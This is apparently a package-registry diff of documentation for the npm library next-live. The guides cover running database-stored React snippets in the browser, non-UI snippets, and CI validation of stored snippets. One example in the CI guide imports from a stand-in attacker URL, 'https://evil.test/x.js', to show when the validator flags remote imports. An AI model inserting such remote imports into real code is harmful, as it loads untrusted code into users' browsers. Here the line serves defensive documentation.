next-live 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +33 -0
- package/LICENSE +21 -0
- package/README.md +142 -0
- package/dist/editor.cjs +247 -0
- package/dist/editor.cjs.map +1 -0
- package/dist/editor.d.cts +80 -0
- package/dist/editor.d.ts +80 -0
- package/dist/editor.js +225 -0
- package/dist/editor.js.map +1 -0
- package/dist/index.cjs +1265 -0
- package/dist/index.cjs.map +1 -0
- package/dist/index.d.cts +580 -0
- package/dist/index.d.ts +580 -0
- package/dist/index.js +1192 -0
- package/dist/index.js.map +1 -0
- package/dist/server.cjs +287 -0
- package/dist/server.cjs.map +1 -0
- package/dist/server.d.cts +142 -0
- package/dist/server.d.ts +142 -0
- package/dist/server.js +282 -0
- package/dist/server.js.map +1 -0
- package/dist/shared.js +30 -0
- package/dist/shared.js.map +1 -0
- package/docs/01-getting-started.md +244 -0
- package/docs/02-module-registry.md +487 -0
- package/docs/03-sharing-your-app-libraries.md +206 -0
- package/docs/04-scaling.md +234 -0
- package/docs/05-security.md +204 -0
- package/docs/06-api-reference.md +337 -0
- package/docs/07-troubleshooting.md +289 -0
- package/docs/08-integration-guide.md +340 -0
- package/docs/09-non-ui-snippets.md +124 -0
- package/docs/10-validating-in-ci.md +192 -0
- package/docs/README.md +76 -0
- package/package.json +105 -0
|
@@ -0,0 +1,340 @@
|
|
|
1
|
+
# Integration guide: apps stored in a database
|
|
2
|
+
|
|
3
|
+
[← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)
|
|
4
|
+
|
|
5
|
+
An end-to-end walkthrough of the pattern `next-live` was built for: a control
|
|
6
|
+
panel where staff author apps, whose source is stored in a database and executed
|
|
7
|
+
in the browser when a user opens one.
|
|
8
|
+
|
|
9
|
+
Everything here is generic, substitute your own store, UI kit, and data layer.
|
|
10
|
+
|
|
11
|
+
## What we are building
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
Control panel ──writes──▶ database ──serves──▶ /api/apps/[id]
|
|
15
|
+
│
|
|
16
|
+
▼
|
|
17
|
+
/apps/[id] ──▶ <LiveProvider>
|
|
18
|
+
│
|
|
19
|
+
compiles in the browser
|
|
20
|
+
│
|
|
21
|
+
▼
|
|
22
|
+
the running app
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## Step 1: Install
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
npm install next-live
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
## Step 2: Decide your SDK surface first
|
|
32
|
+
|
|
33
|
+
Do this before writing any code. Whatever you expose becomes a public contract
|
|
34
|
+
with your authors, you cannot rename it later without breaking stored apps.
|
|
35
|
+
|
|
36
|
+
Pick a handful of stable namespaces:
|
|
37
|
+
|
|
38
|
+
| Specifier | Contains |
|
|
39
|
+
|---|---|
|
|
40
|
+
| `@app/store` | Your application state |
|
|
41
|
+
| `@app/ui` | Buttons, inputs, layout primitives |
|
|
42
|
+
| `@app/data` | Fetch helpers scoped to the signed-in user |
|
|
43
|
+
| `@app/format` | Dates, currency, units |
|
|
44
|
+
|
|
45
|
+
Create one directory holding exactly these, each a **thin re-export** of the real
|
|
46
|
+
implementation. That way the implementations stay free to move:
|
|
47
|
+
|
|
48
|
+
```
|
|
49
|
+
lib/live-sdk/
|
|
50
|
+
index.ts # composes the registry
|
|
51
|
+
vendor.ts # third-party packages
|
|
52
|
+
generated.ts # globs ./modules
|
|
53
|
+
modules/ # ← the SDK surface, one file per namespace
|
|
54
|
+
store.ts
|
|
55
|
+
ui.ts
|
|
56
|
+
data.ts
|
|
57
|
+
format.ts
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
```ts
|
|
61
|
+
// lib/live-sdk/modules/store.ts
|
|
62
|
+
export { useAppStore, addItem, clearCart } from '@/lib/store';
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
```ts
|
|
66
|
+
// lib/live-sdk/modules/ui.ts
|
|
67
|
+
export { Button, Card, Stack } from '@/components/ui';
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
## Step 3: Generate the registry from that directory
|
|
71
|
+
|
|
72
|
+
```ts
|
|
73
|
+
// lib/live-sdk/generated.ts
|
|
74
|
+
import { registryFromGlob } from 'next-live';
|
|
75
|
+
import type { ModuleRegistry } from 'next-live';
|
|
76
|
+
|
|
77
|
+
export const generatedModules: ModuleRegistry = registryFromGlob(
|
|
78
|
+
// Must be at or below this file's own directory - a '../' pattern silently
|
|
79
|
+
// matches nothing under Turbopack.
|
|
80
|
+
import.meta.glob('./modules/*.ts'),
|
|
81
|
+
(path) => {
|
|
82
|
+
const name = path.split('/').pop()?.replace(/\.tsx?$/, '');
|
|
83
|
+
return name ? `@app/${name}` : null;
|
|
84
|
+
},
|
|
85
|
+
);
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
Add a file to `modules/` and it becomes importable by snippets - lazily, with no
|
|
89
|
+
edit here. This file never grows.
|
|
90
|
+
|
|
91
|
+
## Step 4: Register third-party packages as loaders
|
|
92
|
+
|
|
93
|
+
```ts
|
|
94
|
+
// lib/live-sdk/vendor.ts
|
|
95
|
+
import { defineLoader } from 'next-live';
|
|
96
|
+
import type { ModuleRegistry } from 'next-live';
|
|
97
|
+
|
|
98
|
+
export const vendorModules: ModuleRegistry = {
|
|
99
|
+
'date-fns': defineLoader(() => import('date-fns')),
|
|
100
|
+
'my-charts': defineLoader(() => import('my-charts')),
|
|
101
|
+
|
|
102
|
+
// A key ending in '/' claims a whole subtree and receives the full specifier.
|
|
103
|
+
'big-lib/': defineLoader((specifier) =>
|
|
104
|
+
import(`big-lib/${specifier.slice('big-lib/'.length)}`),
|
|
105
|
+
),
|
|
106
|
+
};
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
Loaders, never values - a value ends up in your page bundle for every visitor.
|
|
110
|
+
If your app already imports the package for its own use, the loader costs
|
|
111
|
+
nothing extra; it hands over the module that is already loaded.
|
|
112
|
+
|
|
113
|
+
## Step 5: Compose
|
|
114
|
+
|
|
115
|
+
```ts
|
|
116
|
+
// lib/live-sdk/index.ts
|
|
117
|
+
import { createRegistry } from 'next-live';
|
|
118
|
+
import { vendorModules } from './vendor';
|
|
119
|
+
import { generatedModules } from './generated';
|
|
120
|
+
|
|
121
|
+
export const liveModules = createRegistry(vendorModules, generatedModules);
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
## Step 6: Serve the source from your API
|
|
125
|
+
|
|
126
|
+
```ts
|
|
127
|
+
// app/api/apps/[id]/route.ts
|
|
128
|
+
import { NextResponse } from 'next/server';
|
|
129
|
+
import { getApp } from '@/lib/apps';
|
|
130
|
+
|
|
131
|
+
export async function GET(
|
|
132
|
+
_request: Request,
|
|
133
|
+
context: { params: Promise<{ id: string }> },
|
|
134
|
+
) {
|
|
135
|
+
const { id } = await context.params;
|
|
136
|
+
|
|
137
|
+
// Authorise the read the same way you authorise any other resource.
|
|
138
|
+
const app = await getApp(id);
|
|
139
|
+
if (!app) return NextResponse.json({ error: 'Not found' }, { status: 404 });
|
|
140
|
+
|
|
141
|
+
return NextResponse.json({ id: app.id, name: app.name, source: app.source });
|
|
142
|
+
}
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
**Snippet source must only ever come from here** - never from a query parameter,
|
|
146
|
+
hash fragment, or `localStorage`. See [Security](./05-security.md).
|
|
147
|
+
|
|
148
|
+
## Step 7: The runner component
|
|
149
|
+
|
|
150
|
+
```tsx
|
|
151
|
+
// app/apps/[id]/Runner.tsx
|
|
152
|
+
'use client';
|
|
153
|
+
|
|
154
|
+
import { useEffect, useState } from 'react';
|
|
155
|
+
import { LiveProvider, LivePreview, LiveError } from 'next-live';
|
|
156
|
+
import { liveModules } from '@/lib/live-sdk';
|
|
157
|
+
import { useCurrentUser } from '@/lib/auth';
|
|
158
|
+
|
|
159
|
+
export function Runner({ id }: { id: string }) {
|
|
160
|
+
const [source, setSource] = useState<string | null>(null);
|
|
161
|
+
const [failed, setFailed] = useState(false);
|
|
162
|
+
const user = useCurrentUser();
|
|
163
|
+
|
|
164
|
+
useEffect(() => {
|
|
165
|
+
const controller = new AbortController();
|
|
166
|
+
setFailed(false);
|
|
167
|
+
|
|
168
|
+
fetch(`/api/apps/${id}`, { signal: controller.signal })
|
|
169
|
+
.then((r) => (r.ok ? r.json() : Promise.reject(new Error(String(r.status)))))
|
|
170
|
+
.then((data: { source: string }) => setSource(data.source))
|
|
171
|
+
.catch(() => {
|
|
172
|
+
if (!controller.signal.aborted) setFailed(true);
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
return () => controller.abort();
|
|
176
|
+
}, [id]);
|
|
177
|
+
|
|
178
|
+
if (failed) return <p>This app could not be loaded.</p>;
|
|
179
|
+
if (source === null) return <AppSkeleton />;
|
|
180
|
+
|
|
181
|
+
return (
|
|
182
|
+
<LiveProvider
|
|
183
|
+
code={source}
|
|
184
|
+
modules={liveModules}
|
|
185
|
+
props={{ user }}
|
|
186
|
+
filePath={`${id}.tsx`}
|
|
187
|
+
fallback={<AppSkeleton />}
|
|
188
|
+
onError={(error) => reportToMonitoring(error, { appId: id })}
|
|
189
|
+
>
|
|
190
|
+
<LivePreview />
|
|
191
|
+
<LiveError />
|
|
192
|
+
</LiveProvider>
|
|
193
|
+
);
|
|
194
|
+
}
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
Three details worth copying:
|
|
198
|
+
|
|
199
|
+
- **`filePath`** gives stack traces and DevTools a stable, identifiable name.
|
|
200
|
+
- **`fallback`** should be the same skeleton you use while fetching, so there is
|
|
201
|
+
no layout shift when compiling starts.
|
|
202
|
+
- **`onError`** is where you find out that an app your staff published is broken
|
|
203
|
+
in production. Wire it to your monitoring.
|
|
204
|
+
|
|
205
|
+
## Step 8: The page
|
|
206
|
+
|
|
207
|
+
```tsx
|
|
208
|
+
// app/apps/[id]/page.tsx
|
|
209
|
+
import { Runner } from './Runner';
|
|
210
|
+
|
|
211
|
+
export default async function AppPage({
|
|
212
|
+
params,
|
|
213
|
+
}: {
|
|
214
|
+
params: Promise<{ id: string }>;
|
|
215
|
+
}) {
|
|
216
|
+
const { id } = await params;
|
|
217
|
+
return <Runner id={id} />;
|
|
218
|
+
}
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
A Server Component can import and render the runner directly - `next-live`
|
|
222
|
+
components carry `'use client'` themselves.
|
|
223
|
+
|
|
224
|
+
## Step 9: CSP
|
|
225
|
+
|
|
226
|
+
```ts
|
|
227
|
+
// proxy.ts
|
|
228
|
+
const RUNNER_ROUTES = ['/apps']; // add '/playground' too if you have a lab route
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
Full file in [Security](./05-security.md#3-scope-unsafe-eval-to-the-routes-that-run-snippets).
|
|
232
|
+
**Do not skip this** - without `'unsafe-eval'` on your runner routes, nothing
|
|
233
|
+
runs in production, and you want the directive confined to those routes.
|
|
234
|
+
|
|
235
|
+
## Step 10: The editor side
|
|
236
|
+
|
|
237
|
+
Your control panel needs the editor rather than just the preview:
|
|
238
|
+
|
|
239
|
+
```tsx
|
|
240
|
+
'use client';
|
|
241
|
+
|
|
242
|
+
import { useState } from 'react';
|
|
243
|
+
import { LiveProvider, LivePreview, LiveError } from 'next-live';
|
|
244
|
+
import { LiveEditor } from 'next-live/editor';
|
|
245
|
+
import { liveModules } from '@/lib/live-sdk';
|
|
246
|
+
|
|
247
|
+
export function AppEditor({ initialSource, onSave }: {
|
|
248
|
+
initialSource: string;
|
|
249
|
+
onSave: (source: string) => Promise<void>;
|
|
250
|
+
}) {
|
|
251
|
+
const [source, setSource] = useState(initialSource);
|
|
252
|
+
|
|
253
|
+
return (
|
|
254
|
+
<LiveProvider
|
|
255
|
+
code={source}
|
|
256
|
+
modules={liveModules}
|
|
257
|
+
onCodeChange={setSource}
|
|
258
|
+
>
|
|
259
|
+
<div className="grid gap-4 lg:grid-cols-2">
|
|
260
|
+
<LiveEditor />
|
|
261
|
+
<div>
|
|
262
|
+
<LivePreview />
|
|
263
|
+
<LiveError />
|
|
264
|
+
</div>
|
|
265
|
+
</div>
|
|
266
|
+
<button onClick={() => onSave(source)}>Save</button>
|
|
267
|
+
</LiveProvider>
|
|
268
|
+
);
|
|
269
|
+
}
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
Remember that saving is equivalent to deploying: authorise the write endpoint
|
|
273
|
+
strictly, and keep an audit trail and version history.
|
|
274
|
+
|
|
275
|
+
## Step 11: Optional: precompile on the server
|
|
276
|
+
|
|
277
|
+
If the same apps are opened repeatedly, transpile once and cache by content
|
|
278
|
+
hash. The browser then never downloads the transpiler:
|
|
279
|
+
|
|
280
|
+
```ts
|
|
281
|
+
import { precompile } from 'next-live/server';
|
|
282
|
+
|
|
283
|
+
const result = precompile(app.source, { filePath: `${app.id}.tsx` });
|
|
284
|
+
// cache by result.hash, return result.code
|
|
285
|
+
```
|
|
286
|
+
|
|
287
|
+
```tsx
|
|
288
|
+
import { precompiledTransform } from 'next-live';
|
|
289
|
+
|
|
290
|
+
// Only while code === the source that was precompiled:
|
|
291
|
+
<LiveProvider code={source} transform={precompiledTransform(compiled)} />
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
When the author edits the snippet, `precompiledTransform` still returns the
|
|
295
|
+
old server output - drop `transform` (or re-fetch with the new source) as soon
|
|
296
|
+
as `code` diverges from the catalog version.
|
|
297
|
+
|
|
298
|
+
## Pre-launch checklist
|
|
299
|
+
|
|
300
|
+
- [ ] Snippet source comes only from your authenticated API.
|
|
301
|
+
- [ ] The write endpoint is authorised, audited, and versioned.
|
|
302
|
+
- [ ] `'unsafe-eval'` is scoped to runner routes in `proxy.ts`.
|
|
303
|
+
- [ ] `connect-src` is as narrow as your apps allow.
|
|
304
|
+
- [ ] `onError` reports to monitoring.
|
|
305
|
+
- [ ] `fallback` matches your loading skeleton.
|
|
306
|
+
- [ ] `npm ls react` shows exactly one version.
|
|
307
|
+
- [ ] Every registry entry is a loader, not a value.
|
|
308
|
+
- [ ] CI validates every stored snippet against the registry
|
|
309
|
+
([Validating in CI](./10-validating-in-ci.md)).
|
|
310
|
+
- [ ] An author-facing note explains that TypeScript types are stripped, not
|
|
311
|
+
checked.
|
|
312
|
+
|
|
313
|
+
## A worked example
|
|
314
|
+
|
|
315
|
+
`apps/playground` in this repository implements the full pattern in two routes:
|
|
316
|
+
|
|
317
|
+
| Route | Purpose |
|
|
318
|
+
|---|---|
|
|
319
|
+
| **`/apps`** | Production-shaped shell - header, sidebar tabs, `LivePreview` only. Source fetched from `/api/shell-apps/[id]`. Demos React hooks (`useEffect`), `@app/ui` (shadcn/Tailwind via registry), `@app/format`, and `@app/store`. |
|
|
320
|
+
| **`/playground`** | Developer lab - editor, precompile toggle, localStorage save, and pedagogical panels. Source from `/api/apps/[id]`. |
|
|
321
|
+
|
|
322
|
+
Both share the same composed lazy registry (`lib/live-sdk`), scoped CSP
|
|
323
|
+
(`RUNNER_ROUTES = ['/playground', '/apps', '/docs']`), and CI validation
|
|
324
|
+
(`npm run validate:apps`).
|
|
325
|
+
|
|
326
|
+
```bash
|
|
327
|
+
npm install
|
|
328
|
+
npm run dev
|
|
329
|
+
# http://localhost:3000/apps : shell demo (what users see)
|
|
330
|
+
# http://localhost:3000/playground : lab (editor + experiments)
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
Registry modules live in `lib/live-sdk/modules/` - one thin re-export per
|
|
334
|
+
namespace (`store.ts`, `ui.ts`, `format.ts`). CI keys are derived from that
|
|
335
|
+
directory in Node (`lib/live-sdk/module-keys.ts`) so renames fail the build
|
|
336
|
+
without hand-maintaining a key list.
|
|
337
|
+
|
|
338
|
+
---
|
|
339
|
+
|
|
340
|
+
[← Troubleshooting](./07-troubleshooting.md) · [Docs index](./README.md)
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
# Snippets that are not components
|
|
2
|
+
|
|
3
|
+
[← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)
|
|
4
|
+
|
|
5
|
+
Not everything worth storing as editable code renders something. A control
|
|
6
|
+
panel accumulates validators, data transformers, calculated fields, pricing
|
|
7
|
+
rules, config builders, plain modules with no UI at all.
|
|
8
|
+
|
|
9
|
+
`useLiveModule` runs those and hands back their exports.
|
|
10
|
+
|
|
11
|
+
## The difference
|
|
12
|
+
|
|
13
|
+
```ts
|
|
14
|
+
compile(...) // insists on a component; throws NoComponentError otherwise
|
|
15
|
+
compileModule(...) // returns whatever the snippet exported
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
```tsx
|
|
19
|
+
'use client';
|
|
20
|
+
|
|
21
|
+
import { useLiveModule } from 'next-live';
|
|
22
|
+
|
|
23
|
+
export function RulePreview({ source, input }: { source: string; input: number }) {
|
|
24
|
+
const { exports, error, isCompiling } = useLiveModule({ code: source });
|
|
25
|
+
|
|
26
|
+
if (error) return <p role="alert">{error.message}</p>;
|
|
27
|
+
if (!exports) return <p>{isCompiling ? 'Compiling…' : null}</p>;
|
|
28
|
+
|
|
29
|
+
const validate = exports.validate as ((n: number) => boolean) | undefined;
|
|
30
|
+
return <p>{validate?.(input) ? 'valid' : 'invalid'}</p>;
|
|
31
|
+
}
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
The snippet is an ordinary module:
|
|
35
|
+
|
|
36
|
+
```ts
|
|
37
|
+
import { taxRate } from '@app/config';
|
|
38
|
+
|
|
39
|
+
export function validate(amount: number) {
|
|
40
|
+
return amount > 0 && amount < 10_000;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
export function total(amount: number) {
|
|
44
|
+
return amount * (1 + taxRate);
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
export const schema = { type: 'number', minimum: 0 };
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## Typing the exports
|
|
51
|
+
|
|
52
|
+
Pass a type parameter so consumers are not stuck with `unknown`:
|
|
53
|
+
|
|
54
|
+
```ts
|
|
55
|
+
interface PricingRule {
|
|
56
|
+
validate: (amount: number) => boolean;
|
|
57
|
+
total: (amount: number) => number;
|
|
58
|
+
schema: Record<string, unknown>;
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
const { exports } = useLiveModule<PricingRule>({ code: source });
|
|
62
|
+
exports?.total(100);
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
This is a **claim, not a check** - Sucrase strips types without verifying them,
|
|
66
|
+
so nothing guarantees the snippet actually matches. Validate the shape at
|
|
67
|
+
runtime before trusting it:
|
|
68
|
+
|
|
69
|
+
```ts
|
|
70
|
+
if (typeof exports?.total !== 'function') {
|
|
71
|
+
throw new Error('This rule must export a `total` function.');
|
|
72
|
+
}
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
## Outside React
|
|
76
|
+
|
|
77
|
+
`compileModule` has no React dependency of its own and can be called directly:
|
|
78
|
+
|
|
79
|
+
```ts
|
|
80
|
+
import { compileModule } from 'next-live';
|
|
81
|
+
|
|
82
|
+
const { exports } = await compileModule({
|
|
83
|
+
code: rule.source,
|
|
84
|
+
modules: { '@app/config': config },
|
|
85
|
+
});
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
It still evaluates in the current realm, so the usual rule applies: only run
|
|
89
|
+
code whose author you trust. See [Security](./05-security.md).
|
|
90
|
+
|
|
91
|
+
## What it shares with `useLiveRunner`
|
|
92
|
+
|
|
93
|
+
Both hooks sit on the same scheduler, so their behaviour is identical in every
|
|
94
|
+
respect that matters:
|
|
95
|
+
|
|
96
|
+
- Nothing is evaluated during the server pass; `exports` is `null` on the
|
|
97
|
+
server and on the client's first render, so hydration cannot mismatch.
|
|
98
|
+
- Changes are debounced, and a superseded compile never commits its result.
|
|
99
|
+
- A failed recompile keeps the last good `exports` (`keepLastGood`, default on).
|
|
100
|
+
- `compileId` increments on every successful run.
|
|
101
|
+
- `onCompileSuccess` fires after each successful run with sorted `imports` and
|
|
102
|
+
`durationMs`.
|
|
103
|
+
|
|
104
|
+
The playground's **API script** tab (`/playground`) fetches non-UI source from
|
|
105
|
+
an API route and runs it with `useLiveModule` against `@app/store`.
|
|
106
|
+
|
|
107
|
+
The one thing it does **not** share: there is no render-loop breaker, because
|
|
108
|
+
nothing is being rendered. A snippet that loops inside an exported function
|
|
109
|
+
will hang the tab exactly as any other synchronous loop would.
|
|
110
|
+
|
|
111
|
+
## Choosing between them
|
|
112
|
+
|
|
113
|
+
| Use | When |
|
|
114
|
+
|---|---|
|
|
115
|
+
| `useLiveRunner` / `<LiveProvider>` | The snippet renders UI |
|
|
116
|
+
| `useLiveModule` | The snippet exports functions, values, or config |
|
|
117
|
+
|
|
118
|
+
A snippet can do both - export a component *and* helpers. `useLiveRunner` picks
|
|
119
|
+
the component; `useLiveModule` gives you everything, including the component
|
|
120
|
+
under `exports.default`.
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
[← Integration guide](./08-integration-guide.md) · [Docs index](./README.md) · [Validating in CI →](./10-validating-in-ci.md)
|
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
# Validating stored snippets in CI
|
|
2
|
+
|
|
3
|
+
[← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)
|
|
4
|
+
|
|
5
|
+
## The problem
|
|
6
|
+
|
|
7
|
+
Your snippets live in a database, not in your repository. So when you rename
|
|
8
|
+
something in your SDK -
|
|
9
|
+
|
|
10
|
+
```ts
|
|
11
|
+
// lib/live-sdk/modules/store.ts
|
|
12
|
+
- export { useCart } from '@/lib/store';
|
|
13
|
+
+ export { useBasket } from '@/lib/store';
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
- every stored app importing `useCart` breaks. Nothing fails at build time. The
|
|
17
|
+
tests pass. The failure surfaces days later, for whoever opens that app next.
|
|
18
|
+
|
|
19
|
+
The more apps you have, the worse this gets, and the less anyone wants to
|
|
20
|
+
refactor the SDK at all.
|
|
21
|
+
|
|
22
|
+
## The fix
|
|
23
|
+
|
|
24
|
+
`validateSnippets` compiles every stored snippet and checks its imports against
|
|
25
|
+
your registry. Run it in CI and the rename fails the build instead.
|
|
26
|
+
|
|
27
|
+
```ts
|
|
28
|
+
// scripts/validate-apps.ts
|
|
29
|
+
import { validateSnippets } from 'next-live/server';
|
|
30
|
+
import { getAllApps } from '../lib/db';
|
|
31
|
+
import { LIVE_MODULE_KEYS } from '../lib/live-sdk/module-keys';
|
|
32
|
+
|
|
33
|
+
const apps = await getAllApps(); // [{ id, source }, …]
|
|
34
|
+
const failures = validateSnippets(apps, { modules: [...LIVE_MODULE_KEYS] });
|
|
35
|
+
|
|
36
|
+
if (failures.length === 0) {
|
|
37
|
+
console.log(`✓ all ${apps.length} stored apps validate`);
|
|
38
|
+
process.exit(0);
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
console.error(`✗ ${failures.length} of ${apps.length} stored apps are broken:\n`);
|
|
42
|
+
for (const { id, result } of failures) {
|
|
43
|
+
for (const issue of result.issues) {
|
|
44
|
+
const where = issue.line ? ` (line ${issue.line})` : '';
|
|
45
|
+
console.error(` ${id}${where}: ${issue.message}`);
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
process.exit(1);
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
Output when someone renames a module:
|
|
52
|
+
|
|
53
|
+
```
|
|
54
|
+
✗ 1 of 6 stored apps are broken:
|
|
55
|
+
|
|
56
|
+
store: Module '@app/store' is not registered. Did you mean '@app/cart'?
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
```yaml
|
|
60
|
+
# .github/workflows/ci.yml
|
|
61
|
+
- run: npm run validate:apps
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
A working version is in `apps/playground/scripts/validate-apps.ts`. It validates
|
|
65
|
+
both the lab catalogue (`lib/apps.ts`) and the shell catalogue
|
|
66
|
+
(`lib/shell-apps.ts`), plus a non-UI API script.
|
|
67
|
+
|
|
68
|
+
### Keeping the key list honest
|
|
69
|
+
|
|
70
|
+
Do not hand-maintain registry keys. Derive `@app/*` keys from your
|
|
71
|
+
`modules/` directory in Node (the playground uses `readdirSync` in
|
|
72
|
+
`lib/live-sdk/module-keys.ts` because `import.meta.glob` cannot run in a CI
|
|
73
|
+
script). Add a drift check that compares keys on disk to `LIVE_MODULE_KEYS`:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
npm run validate:apps:test -w playground
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## What it checks, and what it does not
|
|
80
|
+
|
|
81
|
+
**Checks:**
|
|
82
|
+
|
|
83
|
+
- The snippet parses and transpiles - syntax and TypeScript-syntax errors, with
|
|
84
|
+
a line and column.
|
|
85
|
+
- Every import resolves against your registry, honouring built-ins
|
|
86
|
+
(`react`, the JSX runtimes), prefix entries (`big-lib/`), and ignored asset
|
|
87
|
+
imports.
|
|
88
|
+
- Unresolved specifiers come with a "did you mean" suggestion.
|
|
89
|
+
- Optional policy flags (all opt-in): `maxSourceBytes`, `forbidNodeBuiltins`,
|
|
90
|
+
`forbidRemoteImports`, `denySpecifiers`. See
|
|
91
|
+
[API reference: validateSnippet](./06-api-reference.md#validatesnippetsource-options).
|
|
92
|
+
|
|
93
|
+
**Does not check:**
|
|
94
|
+
|
|
95
|
+
- **Runtime behaviour.** Nothing is evaluated, so a snippet that throws on
|
|
96
|
+
render still passes. That is deliberate - see below.
|
|
97
|
+
- **Types.** Sucrase strips them without verifying them, here as everywhere.
|
|
98
|
+
- **Named exports within a module.** It confirms `@app/store` is registered,
|
|
99
|
+
not that `useCart` still exists inside it. To catch that, run your own
|
|
100
|
+
`tsc` over the SDK re-export files, which is where the truth lives.
|
|
101
|
+
- **Subpath walking** (`resolveSubpaths`), which needs the registry's actual
|
|
102
|
+
values rather than its keys.
|
|
103
|
+
- **Imports whose binding is never used.** Sucrase elides them, on the
|
|
104
|
+
assumption that an unused import was a type import. See below - this is not
|
|
105
|
+
the hole it looks like.
|
|
106
|
+
|
|
107
|
+
### Unused imports report clean, and that is correct
|
|
108
|
+
|
|
109
|
+
An import nobody references does not appear in `imports`, and no policy flag
|
|
110
|
+
fires on it:
|
|
111
|
+
|
|
112
|
+
```ts
|
|
113
|
+
// Reported as ok, with imports: []
|
|
114
|
+
import evil from 'https://evil.test/x.js';
|
|
115
|
+
export default function App() { return null; }
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
That is not validation missing something. The same Sucrase pass runs in the
|
|
119
|
+
browser, so the specifier is stripped from the compiled output too - the module
|
|
120
|
+
is never requested at runtime. Validation and execution agree; there is nothing
|
|
121
|
+
to catch because nothing happens.
|
|
122
|
+
|
|
123
|
+
Use the binding and both react as you would expect:
|
|
124
|
+
|
|
125
|
+
```ts
|
|
126
|
+
// ok: false - forbidden-import -> https://evil.test/x.js
|
|
127
|
+
import evil from 'https://evil.test/x.js';
|
|
128
|
+
export default function App() { return evil; }
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
## Why it never evaluates
|
|
132
|
+
|
|
133
|
+
Validation is pure static analysis, which buys three things:
|
|
134
|
+
|
|
135
|
+
1. **Safe on untrusted content.** CI can validate a snippet a user submitted
|
|
136
|
+
without running it.
|
|
137
|
+
2. **No DOM, no React, no browser.** It works in a plain Node script or a Route
|
|
138
|
+
Handler.
|
|
139
|
+
3. **No side effects.** A snippet that writes to a database at module scope will
|
|
140
|
+
not do so during validation.
|
|
141
|
+
|
|
142
|
+
The test suite pins this: a snippet that sets a global at module scope validates
|
|
143
|
+
successfully *and* leaves the global untouched.
|
|
144
|
+
|
|
145
|
+
## Keys, not the registry
|
|
146
|
+
|
|
147
|
+
Pass the registry keys rather than the registry itself:
|
|
148
|
+
|
|
149
|
+
```ts
|
|
150
|
+
validateSnippets(apps, { modules: ['@app/store', 'big-lib/'] });
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
The real registry is full of bundler-specific dynamic imports and is awkward to
|
|
154
|
+
load in a plain Node script. `validateSnippet` accepts a registry object too,
|
|
155
|
+
if yours is simple enough to import.
|
|
156
|
+
|
|
157
|
+
To keep the list honest, derive it from the filesystem rather than maintaining
|
|
158
|
+
a parallel list:
|
|
159
|
+
|
|
160
|
+
```ts
|
|
161
|
+
// lib/live-sdk/module-keys.ts - Node-safe, no import.meta.glob
|
|
162
|
+
import { readdirSync } from 'node:fs';
|
|
163
|
+
import { vendorModules } from './vendor';
|
|
164
|
+
|
|
165
|
+
const appKeys = readdirSync('./modules')
|
|
166
|
+
.filter((f) => /\.tsx?$/.test(f))
|
|
167
|
+
.map((f) => `@app/${f.replace(/\.tsx?$/, '')}`);
|
|
168
|
+
|
|
169
|
+
export const LIVE_MODULE_KEYS = [...Object.keys(vendorModules), ...appKeys];
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
Do **not** re-export `LIVE_MODULE_KEYS` from the client registry barrel - it
|
|
173
|
+
pulls `node:fs` into the browser bundle.
|
|
174
|
+
|
|
175
|
+
## Validate on write, too
|
|
176
|
+
|
|
177
|
+
The same function is useful in your control panel's save endpoint, so a broken
|
|
178
|
+
app never reaches the database in the first place:
|
|
179
|
+
|
|
180
|
+
```ts
|
|
181
|
+
const result = validateSnippet(source, { modules: MODULE_KEYS });
|
|
182
|
+
if (!result.ok) {
|
|
183
|
+
return Response.json({ errors: result.issues }, { status: 422 });
|
|
184
|
+
}
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
CI then catches the other direction - apps that were fine when saved and broke
|
|
188
|
+
